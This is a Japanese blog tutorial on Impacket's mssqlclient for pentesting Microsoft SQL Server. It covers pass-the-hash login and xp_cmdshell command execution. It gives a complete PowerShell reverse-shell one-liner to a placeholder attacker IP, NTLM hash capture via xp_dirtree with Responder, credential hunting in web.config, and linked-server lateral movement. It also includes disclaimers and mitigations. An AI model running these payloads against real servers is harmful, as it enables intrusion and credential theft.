はじめに:Impacket と mssqlclient
Impacket は、ネットワークプロトコルを扱うための強力なPythonクラス群(ライブラリ)です。SecureAuth (現在は Fortra の一部) によって開発され、オープンソースとして提供されています。低レベルでのパケットアクセスや、SMB、MSRPC、Kerberos、LDAPなど、特にWindows環境でよく利用されるプロトコルの実装を提供します。これにより、開発者はネットワークパケットの生成や解析、リモートサービスの実行などを容易に行うことができます。
Impacket は、ペネトレーションテストやセキュリティ評価の現場で広く利用されており、様々な便利なスクリプト(Examples)が同梱されています。これらのスクリプトは、認証情報のダンプ、リモートコマンド実行、ネットワーク列挙など、多岐にわたる機能を提供します。
その中でも、impacket-mssqlclient
(または単にmssqlclient.py
)は、Microsoft SQL Server (MSSQL) への接続と対話を行うためのクライアントツールです。SQLクエリの実行はもちろん、Windows認証やSQL認証、Kerberos認証など複数の認証方式に対応し、xp_cmdshell
を利用したOSコマンドの実行といった、より高度な操作も可能です。
このブログ記事では、impacket-mssqlclient
の基本的な使い方から、主要な機能、そして応用的な活用方法までを詳しく解説していきます。⚠️ ただし、Impacket は非常に強力なツールであるため、その使用には法的・倫理的な配慮が不可欠です。必ず自身が管理するシステム、または明示的に許可された環境でのみ使用してください。
インストール方法
Impacket を使用するには、まずPython環境が必要です(Python 3推奨)。多くのLinuxディストリビューション、特にKali Linuxのようなセキュリティテスト用のOSには、Impacketがプリインストールされている場合があります。
インストールされていない場合や最新版を使用したい場合は、以下の方法でインストールできます。
pip を使用する方法 (推奨)
Pythonのパッケージマネージャーであるpipを使うのが最も簡単です。
pip install impacket
または、管理者権限が必要な場合は:
sudo pip3 install impacket
GitHub からソースコードを取得する方法
最新の開発版を試したい場合などは、GitHubリポジトリから直接クローンしてインストールします。
git clone https://github.com/fortra/impacket.git
cd impacket/
pip install .
または
python setup.py install
(環境によっては sudo python3 setup.py install
が必要)
Kali Linux などでの確認
Kali Linuxなどでは、impacket-
プレフィックス付きで各スクリプトがパスに含まれていることが多いです。以下のコマンドで確認できます。
impacket-mssqlclient -h
ヘルプメッセージが表示されれば、利用可能な状態です。
基本的な使い方
impacket-mssqlclient
の基本的な構文は以下の通りです。
impacket-mssqlclient [-port ポート番号] [ドメイン/]ユーザー名[:パスワード]@ターゲット名またはIPアドレス [オプション]
主要な接続方法を見ていきましょう。
SQL Server 認証
SQL Server 固有のユーザーアカウント(例: sa)とパスワードで認証します。
impacket-mssqlclient sa:StrongPassword123@192.168.1.100
データベースを指定する場合は -db
オプションを使います。
impacket-mssqlclient sa:StrongPassword123@192.168.1.100 -db master
パスワードを省略すると、対話的に入力が求められます。
impacket-mssqlclient sa@192.168.1.100
Windows 認証
Active Directory ドメインアカウントなどのWindowsアカウントで認証します。-windows-auth
フラグが必要です。
impacket-mssqlclient MYDOMAIN/administrator:AdminPass1@10.0.0.5 -windows-auth
パスワードの代わりにNTLMハッシュを使用することも可能です (-hashes
オプション)。これは Pass-the-Hash 攻撃などで利用されます。
impacket-mssqlclient MYDOMAIN/administrator@10.0.0.5 -windows-auth -hashes LMHASH:NTHASH
LMハッシュは通常空なので、aad3b435b51404eeaad3b435b51404ee:5fbc59950d123a6b0a399d2b6d95c1b4
のように指定します。
Kerberos 認証
Kerberos チケットを利用して認証します (-k
オプション)。事前に有効な Kerberos チケットキャッシュ (通常は環境変数 KRB5CCNAME
で指定されたファイル) が必要です。チケットがない場合や特定のチケットを使いたい場合は、ユーザー名やパスワード、AESキー (-aesKey
) を指定することもできます。
impacket-mssqlclient MYSITE.COM/service_account@db.mysite.com -k -windows-auth
ドメインコントローラーのIPアドレスを明示的に指定する必要がある場合は -dc-ip
オプションを使用します。
impacket-mssqlclient MYSITE.COM/service_account@db.mysite.com -k -windows-auth -dc-ip 192.168.10.1
接続後の対話シェル
認証に成功すると、SQL>
というプロンプトが表示され、SQLクエリを入力できるようになります。
SQL> SELECT @@version;
Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
Sep 24 2019 13:48:23
Copyright (C) 2019 Microsoft Corporation
Developer Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 17763: ) (Hypervisor)
SQL> SELECT name FROM sys.databases;
master
tempdb
model
msdb
SQL>
このシェルでは、通常のSQLクエリに加えて、mssqlclient
固有のコマンドも利用できます。help
と入力すると、利用可能なコマンドが表示されます。
SQL> help
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
sp_start_job {cmd} - executes cmd using the sql server agent (blind)
! {cmd} - executes a local shell cmd
主要な機能とコマンド ✨
impacket-mssqlclient
は SQL Server との対話において非常に便利な機能を備えています。
SQL クエリの実行
最も基本的な機能です。プロンプトに直接SQL文を入力して実行します。結果は整形されて表示されます。
SQL> SELECT loginname, sysadmin FROM syslogins;
xp_cmdshell
の有効化/無効化と実行
xp_cmdshell
は、SQL Server から OS コマンドを実行できる強力な(そして危険な)拡張ストアドプロシージャです。デフォルトでは無効になっていることが多いですが、十分な権限(通常は sysadmin ロール)があれば有効化できます。
有効化:
SQL> enable_xp_cmdshell
このコマンドは、内部的に sp_configure
を実行して xp_cmdshell
を有効にします。
OS コマンドの実行:
SQL> xp_cmdshell whoami
nt authority\system
SQL> xp_cmdshell dir C:\
コマンドの出力が返ってきます。
無効化:
SQL> disable_xp_cmdshell
セキュリティ上の理由から、不要になったら無効化することが推奨されます。
sp_start_job
によるコマンド実行
xp_cmdshell
が利用できない場合でも、SQL Server Agent のジョブ機能を利用して OS コマンドを実行できる可能性があります (sp_start_job
コマンド)。ただし、これはブラインド実行であり、コマンドの出力は直接返ってきません。結果を確認するには、リバースシェルを取得したり、出力をファイルにリダイレクトして後で確認するなどの工夫が必要です。
SQL> sp_start_job "ping -n 1 YOUR_IP_ADDRESS"
このコマンドは内部的に一時的なジョブを作成し、指定されたコマンドを実行後、ジョブを削除します。
ローカルコマンドの実行
!
の後にコマンドを入力すると、mssqlclient
を実行しているローカルマシン上でコマンドを実行できます。調査中に一時的に別のコマンドを実行したい場合に便利です。
SQL> ! ls -l /tmp
total 0
-rw-r--r-- 1 user user 0 Apr 1 08:18 test.txt
SQL>
ローカルディレクトリの変更
lcd
コマンドで、ローカルマシン上のカレントディレクトリを変更できます。
SQL> lcd /home/user/tools
ファイルからのコマンド実行
-file
オプションを使って、ファイルに記述されたSQLコマンドや mssqlclient
コマンドをまとめて実行できます。
impacket-mssqlclient user:pass@target -file commands.sql
commands.sql
の例:
SELECT @@servername;
enable_xp_cmdshell
xp_cmdshell "hostname"
NTLM ハッシュの強制取得 (xp_dirtree)
比較的新しいバージョンの Impacket (v0.11.0 以降) では、xp_dirtree
コマンドが追加されました。これは MSSQL サーバーに存在しない UNC パスへのアクセスを試行させ、その結果として発生する NTLM 認証試行を Responder や ntlmrelayx などのツールで捕捉するために使用されます。
SQL> xp_dirtree '\\YOUR_ATTACKER_IP\share'
このコマンドを実行する前に、攻撃者マシンで Responder などを起動しておく必要があります。
sudo responder -I eth0
成功すれば、MSSQL サービスアカウントの NTLM ハッシュが Responder に表示されます。
応用的な使い方とシナリオ例
impacket-mssqlclient
は、ペネトレーションテストやセキュリティ評価において、様々なシナリオで活用できます。
リバースシェルの獲得
xp_cmdshell
が利用可能な場合、ターゲットサーバーから攻撃者のマシンへ接続させるリバースシェルを確立できます。これにより、対話的なコマンド実行環境を得られます。
1. 攻撃者マシンでリスナーを起動:
nc -lvnp 4444
2. mssqlclient からリバースシェルを実行:
様々なペイロードが考えられますが、PowerShell を使う一般的な例です。
SQL> xp_cmdshell "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('YOUR_ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""
Nishang や Netcat バイナリをターゲットにアップロードして実行する方法もあります。
ファイルシステムの探索とファイルの読み書き
xp_cmdshell
を使って、dir
や type
コマンドでファイルシステムを探索したり、ファイルの内容を読み取ることができます。
SQL> xp_cmdshell "type C:\inetpub\wwwroot\web.config"
ファイルの書き込みも可能ですが、権限に依存します。
SQL> xp_cmdshell "echo test > C:\Windows\Temp\test.txt"
リンクサーバー (Linked Server) の悪用
MSSQL には、他の SQL Server やデータベースへの「リンクサーバー」を設定する機能があります。もし設定されていて、かつ適切な権限が付与されていれば、mssqlclient
からリンクサーバーを経由して他のサーバーへアクセスできる可能性があります。
リンクサーバーの一覧表示:
SQL> EXEC sp_linkedservers;
リンクサーバー経由でのクエリ実行 (例: OTHER_SERVER
がリンクサーバー名):
SQL> SELECT * FROM OPENQUERY(OTHER_SERVER, 'SELECT @@version');
リンクサーバーの設定や権限によっては、さらに横展開 (Lateral Movement) が可能になる場合があります。
クレデンシャル情報の探索
設定ファイルやデータベース内に、他のシステムへの接続情報(ユーザー名、パスワード、APIキーなど)が平文や暗号化された形で保存されている場合があります。xp_cmdshell
や SQL クエリを駆使してこれらを探索します。
-- web.config 内を検索する例 (xp_cmdshell が必要)
SQL> xp_cmdshell "findstr /SI /M connectionString C:\inetpub\*.config"
-- 特定のテーブルから情報を検索する例
SQL> SELECT username, password_hash FROM AppCredentials WHERE config_name = 'ExternalAPI';
セキュリティ上の考慮事項 🛡️
impacket-mssqlclient
は強力なツールですが、その利用には以下の点に注意が必要です。
- 倫理的な使用: 許可なく他者のシステムにアクセスすることは違法であり、非倫理的です。必ず適切な許可を得た上で、テストや評価の目的でのみ使用してください。
xp_cmdshell
のリスク:xp_cmdshell
は非常に強力な機能であり、有効化されていると重大なセキュリティリスクとなります。攻撃者によって悪用されると、OSコマンドの実行を通じてシステム全体が侵害される可能性があります。- 認証情報の管理: スクリプト実行時にパスワードやハッシュをコマンドライン引数で渡すと、シェルの履歴などに残る可能性があります。可能であれば対話的なパスワード入力や、Kerberos認証、環境変数などのより安全な方法を検討してください。
- ログと検知: SQL Server の監査ログやネットワーク監視によって、
mssqlclient
による接続や不審なクエリ、xp_cmdshell
の使用などが検知される可能性があります。 - 対策:
- 強力なパスワードポリシーを適用し、不要なアカウントは無効化する。
- SQL Server 認証と Windows 認証のどちらを使用するかを適切に設定する。
xp_cmdshell
は原則として無効化し、必要な場合のみ一時的に有効化し、使用後は必ず無効化する。- SQL Server のサービスアカウントには必要最小限の権限のみを付与する。
- 定期的にパッチを適用し、最新の状態を保つ。
- 監査ログを有効にし、定期的に監視する。
- ネットワークレベルでのアクセス制御を行う(ファイアウォールなど)。
注意: Impacket に含まれるツール群は、攻撃者にも利用されることがあります。これらのツールの使用が検知された場合は、セキュリティインシデントの兆候である可能性も考慮する必要があります。
まとめ
impacket-mssqlclient
は、Microsoft SQL Server に対する接続、認証、対話を行うための非常に強力で柔軟なツールです。SQLクエリの実行から、Windows認証、Kerberos認証、そして xp_cmdshell
を利用したOSコマンド実行まで、幅広い機能を提供します。
ペネトレーションテストやセキュリティ評価において、MSSQLサーバーの調査や権限昇格、横展開の起点として重要な役割を果たします。しかし、その強力さゆえに、利用には法的・倫理的な側面を十分に理解し、責任を持って使用することが不可欠です。
このツールを使いこなすことで、Windowsネットワーク環境やデータベースセキュリティに対する理解を深めることができるでしょう。ぜひ、適切な環境で実際に試してみてください。👍